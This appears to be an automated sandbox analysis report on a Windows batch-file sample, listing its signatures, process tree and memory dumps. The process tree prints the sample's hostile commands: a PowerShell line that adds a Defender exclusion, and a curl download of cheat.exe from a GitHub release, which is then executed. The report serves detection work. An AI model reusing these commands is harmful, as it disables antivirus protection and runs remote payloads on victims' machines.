Analysis

  • max time kernel
    149s
  • max time network
    145s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    08/08/2026, 23:59

General

  • Target
    AssetExternalV8/dependencies/Libraries.bat
  • Size 3KB
  • Sample260808-31te3azzgx
  • SHA256 8c224b994c1fbe4af638b8a8bb0ce7b2f49472e8fd296716516e0bc35d5d6524
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Delays execution with timeout.exe 7 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\AssetExternalV8\dependencies\Libraries.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4304
    • C:\Windows\system32\net.exe
      net session
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4952
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 session
        3⤵
          PID:908
      • C:\Windows\system32\timeout.exe
        timeout /t 2 /nobreak
        2⤵
        • Delays execution with timeout.exe
        PID:5908
      • C:\Windows\system32\timeout.exe
        timeout /t 1 /nobreak
        2⤵
        • Delays execution with timeout.exe
        PID:1936
      • C:\Windows\system32\timeout.exe
        timeout /t 1 /nobreak
        2⤵
        • Delays execution with timeout.exe
        PID:4932
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5992
      • C:\Windows\system32\curl.exe
        curl -L -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" -o "C:\Users\Admin\AppData\Local\Temp\cheat.exe" "https://github.com/vortixgg/Cypherix/releases/download/fqweqfq/cheat.exe"
        2⤵
        • Downloads MZ/PE file
        PID:5552
      • C:\Windows\system32\timeout.exe
        timeout /t 2 /nobreak
        2⤵
        • Delays execution with timeout.exe
        PID:2284
      • C:\Windows\system32\timeout.exe
        timeout /t 1 /nobreak
        2⤵
        • Delays execution with timeout.exe
        PID:996
      • C:\Users\Admin\AppData\Local\Temp\cheat.exe
        "C:\Users\Admin\AppData\Local\Temp\cheat.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:1548
      • C:\Windows\system32\timeout.exe
        timeout /t 2 /nobreak
        2⤵
        • Delays execution with timeout.exe
        PID:2328
      • C:\Windows\system32\timeout.exe
        timeout /t 2 /nobreak
        2⤵
        • Delays execution with timeout.exe
        PID:5096

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          cheat.exe

          • Path C:\Users\Admin\AppData\Local\Temp\cheat.exe
          • Size 676KB
          • SHA256 62aeb4d89cbe53cb8ec9eff1a5230cd9deedeb3605ee9825e936eb08c0543888
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/5992-14-0x000001C9FDE80000-0x000001C9FDE9E000-memory.dmp

          memory/5992-4-0x00007FFAC4CC0000-0x00007FFAC5664000-memory.dmp

          memory/5992-5-0x00007FFAC4CC0000-0x00007FFAC5664000-memory.dmp

          memory/5992-6-0x00007FFAC4CC0000-0x00007FFAC5664000-memory.dmp

          memory/5992-7-0x00007FFAC4CC0000-0x00007FFAC5664000-memory.dmp

          memory/5992-8-0x00007FFAC4CC0000-0x00007FFAC5664000-memory.dmp

          memory/5992-9-0x00007FFAC4CC0000-0x00007FFAC5664000-memory.dmp

          memory/5992-10-0x00007FFAC4CC0000-0x00007FFAC5664000-memory.dmp

          memory/5992-0-0x00007FFAC4E4F000-0x00007FFAC4E50000-memory.dmp

          memory/5992-11-0x00007FFAC4CC0000-0x00007FFAC5664000-memory.dmp

          memory/5992-17-0x00007FFAC4CC0000-0x00007FFAC5664000-memory.dmp

          memory/5992-16-0x000001C9FDE60000-0x000001C9FDE6A000-memory.dmp

          memory/5992-15-0x000001C9FE120000-0x000001C9FE1D2000-memory.dmp

          memory/5992-18-0x00007FFAC4CC0000-0x00007FFAC5664000-memory.dmp

          memory/5992-19-0x00007FFAC4CC0000-0x00007FFAC5664000-memory.dmp

          memory/5992-20-0x00007FFAC4CC0000-0x00007FFAC5664000-memory.dmp

          memory/5992-21-0x00007FFAC4CC0000-0x00007FFAC5664000-memory.dmp

          memory/5992-23-0x00007FFAC4CC0000-0x00007FFAC5664000-memory.dmp

          memory/5992-24-0x00007FFAC4CC0000-0x00007FFAC5664000-memory.dmp

          memory/5992-3-0x000001C9FDDF0000-0x000001C9FDE12000-memory.dmp